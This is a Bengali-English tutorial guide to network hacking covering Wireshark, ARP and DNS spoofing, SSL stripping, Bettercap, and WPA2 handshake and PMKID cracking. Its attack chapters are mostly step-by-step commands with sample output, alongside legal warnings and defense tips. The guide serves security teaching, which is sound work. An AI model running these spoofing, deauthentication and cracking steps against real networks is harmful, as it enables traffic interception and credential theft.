Network Hacking
MitM · WiFi · Wireshark

সম্পূর্ণ গাইড — একদম Zero থেকে Advanced

🌐
Networking
OSI, TCP/IP, Packets — ভিত্তি গড়া

🦈
Wireshark
Traffic capture, filter, protocol analysis

🕵️
MitM Attack
ARP Spoofing, DNS Spoofing, SSL Strip

📶
WiFi Hacking
WPA2 crack, Aircrack-ng, Evil Twin

📖 ৬৫টি Chapter 💻 100+ Commands 🦈 Wireshark · Bettercap · Airc

🌙 Dark Mode BD বাংলা / GB English

⚠️ এই গাইড সম্পূর্ণ শিক্ষামূলক ও Ethical Hacking-এর জন্য। অনুমতি ছাড়া অন্যের নেটওয়ার্কে
Security Act 2023 অনুযায়ী কঠোর শাস্তিযোগ্য অপরাধ। সবসময় authorized lab/environm

📋 সূচিপত্র

🌐 PART 1 — NETWORKING BASICS

01 নেটওয়ার্ক পরিচিতি — OSI Model ও TCP/IP Ch. 1

02 IP, MAC, Port ও Protocol — Packet-এর গল্প Ch. 2

🦈 PART 2 — WIRESHARK

03 Wireshark পরিচিতি ও Installation Ch. 3

04 Wireshark Capture ও Filters Ch. 4

05 Protocol Analysis — HTTP, DNS, ARP বিশ্লেষণ Ch. 5

🕵 PART 3 — MAN-IN-THE-MIDDLE

06 MitM Attack — কিভাবে কাজ করে Ch. 6

07 ARP Spoofing — নেটওয়ার্কে ফাঁদ পাতা Ch. 7

08 DNS Spoofing ও SSL Stripping

Ch. 8

09 Bettercap — আধুনিক MitM Framework Ch. 9

📶 PART 4 — WIFI HACKING

10 WiFi Security — WEP, WPA, WPA2, WPA3 Ch. 10

11 Aircrack-ng Suite — WiFi Hacking Toolkit Ch. 11

12 WPA2 Handshake Capture ও Cracking Ch. 12

13 Evil Twin Attack — ভুয়া WiFi তৈরি Ch. 13

🛡️ PART 5 — DEFENSE & ROADMAP

14 Network Attack থেকে নিজেকে রক্ষা Ch. 14

15 Cheat Sheet ও Roadmap Ch. 15

CHAPTER 01 — NETWORKING BASICS

🌐 Networking

নেটওয়ার্ক পরিচিতি — OSI Model ও TCP/IP

কম্পিউটার কিভাবে কথা বলে — একদম শুরু থেকে বোঝো

🤔 নেটওয়ার্ক কী?

নেটওয়ার্ক হলো দুই বা তার বেশি কম্পিউটারের সংযোগ যারা তথ্য আদান-প্রদান করতে পারে। Network Hacking বুঝতে হলে আগে জানতে হবে নেটওয়ার্ক আসলে কিভাবে কাজ করে।

📘 **সহজ উপমা**

নেটওয়ার্ক হলো একটা ডাক ব্যবস্থার মতো। তুমি চিঠি লিখো (data), খামে ভরো (packet), ঠিকানা লাগাও (IP address), পোস্ট অফিসে দাও (router) এবং চিঠি গন্তব্যে পৌঁছায়। Hacker হলো সেই ব্যক্তি যে মাঝপথে চিঠি ধরে পড়ে বা বদলে দেয়।

🏗️ OSI Model — নেটওয়ার্কের ৭ তলা বিল্ডিং

OSI Model হলো নেটওয়ার্ক যোগাযোগকে ৭টি স্তরে ভাগ করার একটি কাঠামো। প্রতিটি স্তরের আলাদা কাজ আছে।

```
OSI Model                          Attack Examples
┌──────────────────────────────────────────────────┐
│  Layer 7 │ Application   │ HTTP, DNS, FTP     │ ← XSS, SQLi      │
│  Layer 6 │ Presentation  │ SSL/TLS, Encoding  │ ← SSL Strip      │
```

```
│ Layer 5 │ Session      │ Sessions, Auth    │ ← Session Hijack│
│ Layer 4 │ Transport    │ TCP, UDP, Ports   │ ← Port Scan     │
│ Layer 3 │ Network      │ IP, Routing       │ ← IP Spoofing   │
│ Layer 2 │ Data Link    │ MAC, ARP, Switch  │ ← ARP Spoofing  │
│ Layer 1 │ Physical     │ Cable, WiFi, Hub  │ ← Sniffing      │
└──────────────────────────────────────────────────────────────┘

Network Hacking মূলত Layer 2, 3, 4 তে হয়
```

🔄 TCP/IP — বাস্তবের নেটওয়ার্ক ভাষা

Layer	Protocol	কাজ	Hacker দেখে
Application	HTTP, DNS, FTP, SSH	Apps যোগাযোগ করে	Username, Password, Data
Transport	TCP, UDP	Data delivery নিশ্চিত	Port numbers, Flags
Internet	IP, ICMP, ARP	Routing — কোথায় যাবে	Source/Dest IP
Link	Ethernet, WiFi	Physical delivery	MAC Addresses

🤝 TCP 3-Way Handshake

TCP connection তৈরি হওয়ার আগে তিনটি ধাপে "হ্যান্ডশেক" হয়। এটা Hacker-এর জন্য গুরুত্বপূর্ণ কারণ এই process-এই অনেক attack হয়।

```
Client                                Server

  │──── SYN (আমি connect করতে চাই) ────→│
  │←──── SYN-ACK (ঠিক আছে, রেডি) ──────│
  │──── ACK (পেয়েছি, চালু করো) ──────→│
  │                                     │
  │═══ DATA TRANSFER শুরু ═══════════════│

Port Scan: SYN পাঠাই, SYN-ACK পেলে port open!
SYN Flood: লক্ষ লক্ষ SYN পাঠিয়ে server overwhelm
```

📌 **সারসংক্ষেপ**

- 🌐 OSI Model = ৭ layer — প্রতিটিতে আলাদা attack সম্ভব
- 🔄 TCP/IP = বাস্তবে ব্যবহৃত protocol stack
- 🤝 3-Way Handshake = SYN → SYN-ACK → ACK
- 🎯 Network Hacking মূলত Layer 2-4-এ হয়

CHAPTER 02 — NETWORKING BASICS

🌐 Networking

IP, MAC, Port ও Packet-এর গল্প

ঠিকানা, পরিচয় ও দরজা — নেটওয়ার্কের তিন মূল উপাদান

📍 IP Address — নেটওয়ার্কের ঠিকানা

IPv4 — ৩২ bit

- Format: 192.168.1.100
- Private: 192.168.x.x, 10.x.x.x
- Public: বাইরের ইন্টারনেটে
- Loopback: 127.0.0.1 (নিজের)
- Broadcast: 192.168.1.255

দরকারি Commands

```
# নিজের IP দেখো ip addr show # Linux ifconfig # Linux/Mac ipconfig # Windows # Public IP দেখো curl ifconfig.me # Network scan nmap -sn 192.168.1.0/24
```

□ MAC Address — Hardware পরিচয়

MAC (Media Access Control) Address হলো Network Interface Card-এর স্থায়ী পরিচয়। এটা ৪৮-bit এবং manufacturer নির্ধারণ করে। ARP Spoofing attack এই MAC address নিয়েই খেলে।

```
# MAC format: AA:BB:CC:DD:EE:FF # প্রথম 3 byte = OUI (manufacturer) # শেষ 3 byte = Device-specific # MAC দেখো $ ip link show $ ifconfig -a # ARP Table দেখো (IP → MAC mapping) $ arp -a $ ip neigh show # MAC Spoofing (পরিচয় বদলানো) $ sudo ip link set dev eth0 down $ sudo ip link set dev eth0 address AA:BB:CC:DD:EE:FF $ sudo ip link set dev eth0 up
```

🚪 Ports — সার্ভিসের দরজা

Port	Protocol	কাজ	Hacker Note
21	FTP	File Transfer	Plain text password
22	SSH	Secure Remote	Encrypted
23	Telnet	Remote (পুরনো)	সব plain text!
80	HTTP	Web (সাধারণ)	Sniff করা যায়
443	HTTPS	Web (নিরাপদ)	Encrypted
53	DNS	Domain lookup	DNS Spoofing target
3306	MySQL	Database	Open হলে বিপদ
3389	RDP	Windows Remote	Brute force target

📦 Packet কিভাবে তৈরি হয়

```
তুমি google.com-এ গেলে কী হয়:

HTTP Request: "GET / HTTP/1.1 Host: google.com"
                    ↓ Encapsulation
TCP Segment:  [Src Port: 49120][Dst Port: 80][Data]
                    ↓
IP Packet:    [Src IP: 192.168.1.5][Dst IP: 142.250.x.x][TCP]
```

```
                    ↓
Ethernet Frame:[Src MAC: AA:BB...][Dst MAC: Router MAC][IP]
                    ↓
WiFi/Cable দিয়ে পাঠানো হয়

🦈 Wireshark এই পুরো packet দেখতে পায়!
```

📌 **সারসংক্ষেপ**

- 📍 IP = নেটওয়ার্ক ঠিকানা (পরিবর্তনযোগ্য)
- □ MAC = Hardware পরিচয় (ARP Spoofing এখানে)
- 🚪 Port = সার্ভিসের দরজা — 21, 22, 80, 443 মনে রাখো
- 📦 Packet = Data + Headers — Wireshark সব দেখায়

CHAPTER 03 — WIRESHARK

🦈 Wireshark

Wireshark পরিচিতি ও Installation

Network traffic দেখার সবচেয়ে শক্তিশালী tool

🦈 Wireshark কী?

Wireshark হলো world-এর সবচেয়ে জনপ্রিয় Network Protocol Analyzer। এটা দিয়ে নেটওয়ার্কে চলমান সব packet দেখা, ধরা ও বিশ্লেষণ করা যায়। Ethical Hacker এবং Network Admin — উভয়ের কাছেই অপরিহার্য।

🔭 **সহজ উপমা**

Wireshark হলো একটা X-Ray মেশিনের মতো যা নেটওয়ার্কের ভেতর দিয়ে যাওয়া প্রতিটা packet-এর ভেতরে তাকায়। কে কার সাথে কথা বলছে, কী পাঠাচ্ছে — সব দেখা যায়।

⚙️ Installation

```
# Ubuntu/Debian $ sudo apt update $ sudo apt install wireshark -y # "Should non-superusers be able to capture?" → Yes $ sudo usermod -aG wireshark $USER $ newgrp wireshark # Kali Linux-এ already installed $ wireshark & # GUI চালু করো # Command line version $ sudo apt install tshark -y # Windows/Mac: wireshark.org থেকে download করো
```

🖥️ Wireshark Interface বোঝো

```
┌──────────────────────────────────────────────────┐
│ 🦈 Wireshark Interface                            │
├──────────────────────────────────────────────────┤
│ Filter Bar: ip.addr == 192.168.1.1      [Apply]    │
├──────────────────────────────────────────────────┤
│ Packet List Panel (উপরে)                           │
│ No │ Time   │ Source     │ Destination │ Proto │ Info  │
│ 1  │ 0.000 │ 192.168.1.5│ 8.8.8.8   │ DNS   │ Query │
│ 2  │ 0.012 │ 8.8.8.8    │ 192.168.1.5│ DNS   │ Resp  │
├──────────────────────────────────────────────────┤
│ Packet Details Panel (মাঝে)                        │
│ ▸ Frame 1: 74 bytes                                │
│ ▸ Ethernet II: AA:BB... → CC:DD...                 │
│ ▸ Internet Protocol: 192.168.1.5 → 8.8.8.8         │
│ ▸ User Datagram Protocol: Port 53                  │
│ ▸ Domain Name System (query)                       │
├──────────────────────────────────────────────────┤
│ Packet Bytes Panel (নিচে) — Raw Hex data           │
└──────────────────────────────────────────────────┘
```

📌 **সারসংক্ষেপ**

- 🦈 Wireshark = Network packet দেখার সেরা tool
- 🖥️ তিনটি panel: Packet List, Details, Bytes
- 📟 tshark = Command line Wireshark

CHAPTER 04 — WIRESHARK

🦈 Wireshark

Wireshark Capture ও Filters

Traffic ধরা ও প্রয়োজনীয়টা খুঁজে বের করা

🎯 Capture শুরু করা

```
# Interface select করো তারপর Capture শুরু # GUI: Interface → Double click → Capture শুরু # tshark দিয়ে command line capture $ sudo tshark -i eth0 # eth0 interface $ sudo tshark -i wlan0 # WiFi interface $ sudo tshark -i any # সব interface # File-এ save করো $ sudo tshark -i eth0 -w capture.pcap # নির্দিষ্ট packet count $ sudo tshark -i eth0 -c 100 -w out.pcap # pcap file open করো $ wireshark capture.pcap
```

🔍 Display Filters — প্রয়োজনীয়টা খোঁজো

```
## IP Filters ## ip.addr == 192.168.1.5 # নির্দিষ্ট IP ip.src == 192.168.1.5 # Source IP ip.dst == 8.8.8.8 # Destination IP ip.addr == 192.168.1.0/24 # Subnet ## Protocol Filters ## http # শুধু HTTP dns # শুধু DNS tcp # শুধু TCP udp # শুধু UDP arp # শুধু ARP icmp # Ping/ICMP ssl || tls # HTTPS traffic ## Port Filters ## tcp.port == 80 # HTTP port tcp.port == 443 # HTTPS tcp.dstport == 22 # SSH destination tcp.port in {80 443 8080} # Multiple ports ## Content
```

```
Filters ## http.request.method == "POST" # POST requests http.host contains "google" # Google traffic dns.qry.name contains "facebook"# Facebook DNS frame contains "password" # "password" ধারণকারী packet ## Combine Filters ## ip.src == 192.168.1.5 && http # AND dns || arp # OR !icmp # NOT (ping ছাড়া সব)
```

🧲 Capture Filters — ধরার আগেই ছাঁকো

```
# Capture শুরুর আগে filter দাও (BPF syntax) $ sudo tshark -i eth0 -f "host 192.168.1.1" $ sudo tshark -i eth0 -f "port 80" $ sudo tshark -i eth0 -f "tcp and port 443" $ sudo tshark -i eth0 -f "not broadcast and not multicast" # HTTP credentials খোঁজো $ sudo tshark -i eth0 -Y "http.request.method == POST" \ -T fields -e http.host -e http.request.uri \ -e http.file_data
```

🔎 Follow Stream — পুরো conversation দেখো

💡 **Follow TCP/HTTP Stream**

Wireshark-এ যেকোনো HTTP packet-এ Right Click → Follow → TCP Stream করলে পুরো HTTP conversation একসাথে দেখা যায়। এখানে plain text-এ username, password, cookies সব দেখা যেতে পারে।

📌 **সারসংক্ষেপ**

- 🎯 `ip.addr == X`, `http`, `tcp.port == 80` — সবচেয়ে দরকারি filter
- 🔍 `frame contains "password"` — credential খোঁজো
- 🧲 Capture Filter = ধরার আগে ছাঁকো (দ্রুত)
- 🔎 Follow Stream = পুরো conversation দেখো

CHAPTER 05 — WIRESHARK

🦈 Wireshark

Protocol Analysis — HTTP, DNS, ARP বিশ্লেষণ

packet-এর ভেতরে কী আছে তা বোঝা

🌐 HTTP Traffic Analysis

```
# HTTP credentials ধরা (plain text HTTP-তে!) $ tshark -r capture.pcap -Y "http.request.method==POST" \ -T fields -e http.host -e urlencoded-form.key \ -e urlencoded-form.value 2>/dev/null
```

```
↓ EXAMPLE OUTPUT
login.example.com username admin login.example.com password secret123
```

```
# HTTP GET requests দেখো $ tshark -r capture.pcap -Y "http.request" \ -T fields -e http.host -e http.request.uri # Cookies extract করো $ tshark -r capture.pcap -Y "http.cookie" \ -T fields -e http.cookie
```

👄 DNS Traffic Analysis

```
# DNS queries দেখো — কোন website visit হচ্ছে $ tshark -r capture.pcap -Y "dns.flags.response == 0" \ -T fields -e dns.qry.name | sort | uniq -c | sort -rn
```

```
↓ OUTPUT — কে কোথায় যাচ্ছে
15 google.com 8 facebook.com 6 youtube.com 3 login.bank.com
```

🔗 ARP Analysis — Spoofing detect করো

```
# ARP packets দেখো $ tshark -r capture.pcap -Y "arp" \ -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac # ARP Spoofing detect: একই IP-তে দুটো MAC? # Wireshark → Statistics → ARP দেখো # "Duplicate IP address" warning আসবে # Wireshark-এ ARP Spoofing filter # Filter bar-এ: arp.duplicate-address-detected
```

🔐 TLS/HTTPS Traffic

```
# HTTPS decrypt করতে — browser-এর session key দরকার # Firefox/Chrome-এ SSLKEYLOGFILE set করো # Linux/Mac: $ export SSLKEYLOGFILE=~/sslkeys.log $ firefox & $ sudo wireshark & # Wireshark → Edit → Preferences → Protocols → TLS # (Pre)-Master-Secret log filename: ~/sslkeys.log # এখন HTTPS traffic-ও decrypt হবে!
```

📌 সারসংক্ষেপ

- 🌐 HTTP POST-এ plain text password দেখা যায়
- 👄 DNS queries দেখে কে কোথায় যাচ্ছে জানা যায়
- 🔗 Duplicate ARP = ARP Spoofing সন্দেহ
- 🔐 SSLKEYLOGFILE দিয়ে HTTPS decrypt সম্ভব

CHAPTER 06 — MAN-IN-THE-MIDDLE

🕵 MitM

Man-in-the-Middle Attack — কিভাবে কাজ করে

দুজনের মাঝখানে গোপনে বসে সব দেখা ও বদলানো

🕵 MitM কী?

Man-in-the-Middle Attack হলো এমন একটি আক্রমণ যেখানে attacker দুটি পক্ষের মধ্যে গোপনে অবস্থান করে এবং তাদের যোগাযোগ intercept, monitor বা modify করে। উভয় পক্ষই মনে করে তারা সরাসরি কথা বলছে।

📮 সহজ উপমা

ভাবো তুমি তোমার বন্ধুকে চিঠি পাঠাচ্ছো। কিন্তু মাঝপথে একজন চতুর ব্যক্তি চিঠি ধরে পড়ে, প্রয়োজনে বদলে দেয়, তারপর আবার পাঠিয়ে দেয়। তুমি ও তোমার বন্ধু কেউই জানো না এটা হচ্ছে। MitM attack ঠিক এভাবেই কাজ করে।

🔄 MitM-এর ধাপ

```
Normal Communication:
Alice (192.168.1.5) ←──────────→ Bob (192.168.1.1/Router)

After MitM (ARP Spoofing):
Alice → Attacker (192.168.1.100) → Router/Bob
      ←──────────────────────────←

Alice মনে করে সরাসরি Router-এর সাথে কথা বলছে
Attacker মাঝখানে সব দেখছে ও পারলে বদলাচ্ছে

Step 1: Position নাও (ARP Spoofing)
Step 2: Traffic forward করো (IP forwarding on)
Step 3: Traffic inspect করো (Wireshark)
Step 4: Optional: modify করো (DNS Spoof, SSL Strip)
```

📋 MitM-এর প্রকারভেদ

Attack Type	পদ্ধতি	Target	প্রভাব
ARP Spoofing	MAC table poisoning	LAN	Traffic intercept
DNS Spoofing	DNS response forge	LAN/WAN	Fake site redirect
SSL Stripping	HTTPS → HTTP	Browser	Credential theft
Evil Twin	Fake WiFi AP	WiFi users	All traffic
HTTPS Spoofing	Similar domain	Browser	Phishing

> ⚠️ **MitM-এর পূর্বশর্ত**
>
> Local Network (LAN/WiFi)-এ থাকতে হবে — একই network-এ। Internet-এর উপর দিয়ে সাধারণ MitM হয় না। তাই Public WiFi সবচেয়ে বিপজ্জনক।

📌 **সারসংক্ষেপ**

- 🕵️ MitM = দুজনের মাঝে গোপনে বসা
- 📍 Same network-এ থাকতে হবে
- 🔴 Public WiFi = সবচেয়ে সহজ MitM target
- 🛡️ HTTPS, VPN ব্যবহার করলে কঠিন হয়

CHAPTER 07 — MAN-IN-THE-MIDDLE

🕵️ MitM

ARP Spoofing — নেটওয়ার্কে ফাঁদ পাতা

ARP Protocol-এর দুর্বলতা কাজে লাগিয়ে MitM position নেওয়া

🔗 ARP কিভাবে কাজ করে?

ARP (Address Resolution Protocol) IP address-কে MAC address-এ রূপান্তর করে। কম্পিউটার জানতে চাইলে broadcast পাঠায়: "কার IP এটা?"। সেই IP-র মালিক respond করে তার MAC দিয়ে। **সমস্যা হলো ARP stateless — যে কেউ যেকোনো সময় যেকোনো ARP reply পাঠাতে পারে!**

```
Normal ARP:
Alice: "Gateway (192.168.1.1) কার?" → Broadcast
Router: "আমার! MAC = AA:BB:CC:DD:EE:FF"
Alice ARP Table: 192.168.1.1 → AA:BB:CC:DD:EE:FF
```

```
ARP Spoofing:
Attacker পাঠায় (যাচাই ছাড়াই accept হয়!):
→ Alice কে: "192.168.1.1 (Router) এর MAC = আমার MAC"
→ Router কে: "192.168.1.5 (Alice) এর MAC = আমার MAC"

এখন:
Alice ARP Table: 192.168.1.1 → Attacker MAC ← বিষ!
Router ARP Table: 192.168.1.5 → Attacker MAC ← বিষ!

Alice → Attacker → Router (MitM সফল)
```

⚙️ হাতে-কলমে ARP Spoofing

```
# == Lab Setup == # Attacker: Kali Linux (192.168.1.100) # Victim: Windows/Linux (192.168.1.5) # Gateway: Router (192.168.1.1) # ⚠️ শুধু নিজের lab-এ! # Step 1: IP Forwarding চালু করো # (বন্ধ থাকলে victim-এর internet যাবে না) $ echo 1 > /proc/sys/net/ipv4/ip_forward $ sudo sysctl -w net.ipv4.ip_forward=1 # Step 2: arpspoof install করো $ sudo apt install dsniff -y # Step 3: দুটো terminal-এ চালাও # Terminal 1: Victim → আমার → Router $ sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1 # victim IP gateway IP # Terminal 2: Router → আমার → Victim $ sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.5 # Step 4: Wireshark দিয়ে victim-এর traffic দেখো $ sudo wireshark -i eth0 &
```

🛡️ ARP Spoofing Detection

```
# নিজের ARP table দেখো $ arp -a # Suspicious: একই MAC দুটো আলাদা IP-তে? # বা Gateway-এর MAC পরিবর্তন? # arpwatch দিয়ে monitor করো $ sudo apt install arpwatch -y $ sudo arpwatch -i eth0 # XArp — GUI ARP monitor # Wireshark filter: arp.duplicate-address-detected
```

📌 সারসংক্ষেপ

- 🔗 ARP = IP → MAC mapping, কিন্তু যাচাই নেই
- 🕵️ ARP Spoofing = মিথ্যা ARP reply পাঠিয়ে MitM

- ⚙️ `arpspoof -i eth0 -t victim gateway`
- 🛡️ `arpwatch` — ARP change monitor করো

CHAPTER 08 — MAN-IN-THE-MIDDLE

🥷 MitM

DNS Spoofing ও SSL Stripping

Victim-কে ভুয়া সাইটে নিয়ে যাওয়া ও HTTPS ভেঙে দেওয়া

🎭 DNS Spoofing

ARP Spoofing দিয়ে MitM position নেওয়ার পরে DNS response বদলে দিলে victim যেকোনো website-এ যেতে চাইলে আমাদের ভুয়া server-এ পৌঁছাবে।

```
Victim browser: "facebook.com কোথায়?"
DNS Query → Attacker (MitM position-এ)
Attacker: "facebook.com = 192.168.1.100" (আমার IP!)
Victim: facebook.com-এ যায় কিন্তু পৌঁছায় Attacker-এর fake site-এ
```

```
# dnsspoof দিয়ে DNS Spoofing # আগে ARP Spoofing চালু থাকতে হবে # hosts file তৈরি করো $ echo "192.168.1.100 facebook.com" > /tmp/dns_hosts $ echo "192.168.1.100 google.com" >> /tmp/dns_hosts # dnsspoof চালাও $ sudo dnsspoof -i eth0 -f /tmp/dns_hosts # Fake web server চালাও (python) $ mkdir /tmp/fakesite $ echo "<h1>Fake Facebook</h1>" > /tmp/fakesite/index.html $ cd /tmp/fakesite && python3 -m http.server 80
```

🔒 SSL Stripping

SSL Stripping হলো HTTPS connection-কে HTTP-তে downgrade করার আক্রমণ। Victim ভাবে সে HTTPS-এ আছে, কিন্তু আসলে plain text HTTP-তে। এতে সব data open-এ দেখা যায়।

```
Normal:  Victim ←HTTPS→ Server
SSL Strip: Victim ←HTTP→ Attacker ←HTTPS→ Server
                  plain text!     encrypted

Victim browser-এ: http://bank.com (lock নেই!)
Attacker দেখছে: username=admin&password=1234
```

```
# sslstrip install করো $ sudo apt install sslstrip -y # iptables দিয়ে HTTP traffic redirect করো $ sudo iptables -t nat -A PREROUTING -p tcp \ --destination-port 80 -j REDIRECT --to-port 8080 # sslstrip চালাও port 8080-এ $ sudo sslstrip -l 8080 # Log দেখো $ tail -f sslstrip.log
```

🛡️ **SSL Stripping থেকে বাঁচো**

- Browser-এ সবসময় 🔒 lock icon দেখো
- **HSTS (HTTP Strict Transport Security)** — website-এ enable করো
- VPN ব্যবহার করো public WiFi-তে
- Browser extension: HTTPS Everywhere

📌 **সারসংক্ষেপ**

- 🎭 DNS Spoofing = ভুয়া DNS reply → fake site redirect
- 🔒 SSL Strip = HTTPS → HTTP downgrade → plain text দেখা
- 🛡️ HSTS + VPN + lock icon চেক = protection

CHAPTER 09 — MAN-IN-THE-MIDDLE

🕵️ MitM

Bettercap — আধুনিক MitM Framework

ARP Spoof + DNS Spoof + Credential harvest — সব এক tool-এ

🎯 Bettercap কী?

Bettercap হলো একটি আধুনিক, শক্তিশালী Network Attack ও MitM Framework। এটা ettercap-এর successor। ARP Spoofing, DNS Spoofing, credential harvesting, HTTPS bypass — সব একটাই tool-এ করা যায়।

```
# Install করো $ sudo apt install bettercap -y # বা latest version: $ go install github.com/bettercap/bettercap@latest # চালু করো $ sudo bettercap -iface eth0 # Web UI সহ চালু করো $ sudo bettercap -iface eth0 -eval \ "api.rest on; ui on" # Browser-এ: http://127.0.0.1
```

⚡ Bettercap Commands

```
## Bettercap Interactive Shell ## # Network scan — সব device দেখো bettercap> net.probe on bettercap> net.show # ARP Spoofing চালু করো bettercap> set arp.spoof.fullduplex true bettercap> set arp.spoof.targets 192.168.1.5 bettercap> arp.spoof on # HTTP Sniffer — credentials ধরো bettercap> set net.sniff.verbose true bettercap> net.sniff on # DNS Spoofing bettercap> set dns.spoof.domains facebook.com,google.com bettercap> set dns.spoof.address 192.168.1.100 bettercap> dns.spoof on # HTTPS Proxy (SSL Interception) bettercap> https.proxy on # Caplet (script) দিয়ে automate করো # mitm.cap ফাইলে সব commands লিখো $ sudo bettercap -iface eth0 -caplet mitm.cap
```

📌 সারসংক্ষেপ

- 🎯 Bettercap = সবচেয়ে আধুনিক MitM framework
- ⚡ `arp.spoof on`, `net.sniff on`, `dns.spoof on`
- 🌐 Web UI দিয়ে সহজে control করা যায়

- 📜 Caplet = automation script

CHAPTER 10 — WIFI HACKING

📶 WiFi

WiFi Security — WEP, WPA, WPA2, WPA3

WiFi encryption-এর বিবর্তন ও দুর্বলতা

📶 WiFi কিভাবে কাজ করে?

WiFi হলো radio wave-এর মাধ্যমে wireless নেটওয়ার্ক। Access Point (Router) broadcast করে SSID (নেটওয়ার্কের নাম)। Client connect হতে চাইলে authentication হয়। এই authentication process-এই বেশিরভাগ WiFi attack হয়।

🔐 WiFi Security Standards

❌ WEP (1997) — সম্পূর্ণ ভাঙা

- RC4 cipher — দুর্বল
- কয়েক মিনিটে crack করা যায়
- কখনো ব্যবহার করো না
- 24-bit IV — পুনরায় ব্যবহার হয়

⚠️ WPA (2003) — দুর্বল

- TKIP — WEP-এর উন্নতি
- Dictionary attack সম্ভব
- এড়িয়ে চলা উচিত

⚠️ WPA2 (2004) — সবচেয়ে বেশি ব্যবহৃত

- AES-CCMP encryption
- 4-way handshake capture → crack
- দুর্বল password হলে crack সম্ভব

✅ WPA3 (2018) — সবচেয়ে নিরাপদ

- SAE (Dragonfly) handshake
- Dictionary attack প্রতিরোধী
- Forward Secrecy

- PMKID attack সম্ভব
- 192-bit security

📊 তুলনা

Standard	Encryption	নিরাপত্তা	Crack Method
WEP	RC4	ভাঙা	aircrack-ng (মিনিটে)
WPA	TKIP	দুর্বল	Dictionary attack
WPA2-Personal	AES	মাঝারি	4-way Handshake crack
WPA2-Enterprise	AES + RADIUS	ভালো	RADIUS attack
WPA3	SAE+AES	সর্বোচ্চ	Very difficult

📌 সারসংক্ষেপ

- ❌ WEP = সম্পূর্ণ ভাঙা — ব্যবহার করো না
- ⚠️ WPA2 = বেশি ব্যবহৃত, দুর্বল password হলে crack সম্ভব
- ✅ WPA3 = সবচেয়ে নিরাপদ, ব্যবহার করো
- 🔑 Strong password = WiFi Hacking প্রায় অসম্ভব

CHAPTER 11 — WIFI HACKING

📶 WiFi

Aircrack-ng Suite — WiFi Hacking Toolkit

WiFi audit-এর complete toolkit — সব tools পরিচিতি

🛠️ Aircrack-ng Suite-এর tools

Tool	কাজ
airmon-ng	WiFi adapter-কে monitor mode-এ নিয়ে যায়
airodump-ng	কাছের WiFi network scan করে, packet capture করে
aireplay-ng	Packet inject করে — deauth attack, fake auth
aircrack-ng	Captured handshake crack করে
airbase-ng	Fake Access Point তৈরি করে
airgraph-ng	Network graph তৈরি করে

📡 Monitor Mode

সাধারণত WiFi adapter শুধু নিজের নেটওয়ার্কের packet receive করে। Monitor Mode-এ সব কাছের WiFi traffic শোনা যায় — এমনকি connected না থেকেও।

```
# WiFi adapter দেখো $ iwconfig $ ip link show # Monitor mode চালু করো $ sudo airmon-ng check kill # interfering processes kill $ sudo airmon-ng start wlan0 # wlan0 → wlan0mon # Confirm করো $ iwconfig wlan0mon # Mode: Monitor দেখাবে # আশেপাশের সব WiFi দেখো $ sudo airodump-ng wlan0mon
```

```
↓ AIRODUMP-NG OUTPUT
BSSID PWR Beacons #Data CH MB ENC CIPHER AUTH ESSID AA:BB:CC:DD:EE:FF -48 45 128 6 54 WPA2 CCMP PSK HomeNetwork 11:22:33:44:55:66 -72 21 12 11 130 WPA2 CCMP PSK CafeWiFi FF:EE:DD:CC:BB:AA -85 10 3 1 54 WEP WEP OldRouter
```

```
# নির্দিষ্ট network capture করো $ sudo airodump-ng -c 6 \ --bssid AA:BB:CC:DD:EE:FF \ -w capture \ wlan0mon # -c 6 = channel 6 # --bssid = target AP # -w capture = capture.cap ফাইলে save # Monitor mode বন্ধ করো $ sudo airmon-ng stop wlan0mon $ sudo service NetworkManager restart
```

📌 **সারসংক্ষেপ**

- 📡 `airmon-ng start wlan0` — Monitor mode চালু
- 🔍 `airodump-ng wlan0mon` — সব WiFi দেখো
- 🎯 `airodump-ng -c CH --bssid MAC -w out wlan0mon` — capture
- ⚠️ Monitor mode-এর জন্য compatible adapter দরকার

CHAPTER 12 — WIFI HACKING

📶 WiFi

WPA2 Handshake Capture ও Cracking

4-Way Handshake ধরে dictionary attack করা

🤝 4-Way Handshake কী?

WPA2-তে client connect হওয়ার সময় 4টি message exchange হয় যাকে 4-Way Handshake বলে। এই handshake-এ password hash থাকে। আমরা এই handshake capture করে offline-এ crack করতে পারি।

```
4-Way Handshake:
Client                          AP (Router)
  |←──────── ANonce ──────────────────|  Message 1
  |──────── SNonce + MIC ──────────→|  Message 2
  |←──────── GTK + MIC ──────────────|  Message 3
  |──────── ACK ──────────────────→|  Message 4

Handshake capture করলে offline dictionary attack সম্ভব
কিন্তু: শুধু dictionary-তে থাকলেই crack হবে!
```

📋 ধাপে ধাপে WPA2 Handshake Capture

```
## ⚠️ শুধু নিজের নেটওয়ার্কে! ## # Step 1: Monitor mode চালু $ sudo airmon-ng start wlan0 # Step 2: Target network খোঁজো $ sudo airodump-ng wlan0mon # Target-এর BSSID ও Channel নোট করো # Step 3: Target capture শুরু করো $ sudo airodump-ng \ -c 6 \ --bssid AA:BB:CC:DD:EE:FF \ -w /tmp/capture \ wlan0mon # উপরে "WPA handshake: AA:BB:..." দেখালে সফল! # Step 4: Deauth attack — connected client-কে disconnect করো # নতুন terminal-এ: $ sudo aireplay-ng \ --deauth 10 \ -a AA:BB:CC:DD:EE:FF \ -c CLIENT:MAC:HERE \ wlan0mon # Client reconnect করলে handshake capture হবে
```

🔨 Aircrack-ng দিয়ে Crack করা

```
# Wordlist দিয়ে crack করো $ sudo aircrack-ng \ -w /usr/share/wordlists/rockyou.txt \ -b AA:BB:CC:DD:EE:FF \ /tmp/capture*.cap
```

```
↓ যদি CRACK হয়
[00:01:23] 14340/9822768 keys tested (192.73 k/s) KEY FOUND! [ password123 ]
Master Key : CD 69 0D 11 8E AC 9A ...
```

```
# hashcat দিয়ে GPU acceleration (অনেক দ্রুত) # আগে hc22000 format-এ convert করো $ hcxpcapngtool -o hash.hc22000 capture.cap # hashcat crack $ hashcat -m 22000 hash.hc22000 \ /usr/share/wordlists/rockyou.txt \ --force # PMKID attack (handshake ছাড়াও!) $ hcxdumptool -i wlan0mon --enable_status=1 \ -o pmkid.pcapng $ hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng $ hashcat -m 22000 pmkid.hc22000 rockyou.txt
```

🛡️ নিজেকে রক্ষা করো

- দীর্ঘ, জটিল password — ১৫+ character, mix করো
- WPA3 ব্যবহার করো যদি router support করে
- SSID name থেকে location বোঝা না যায় এমন নাম দাও
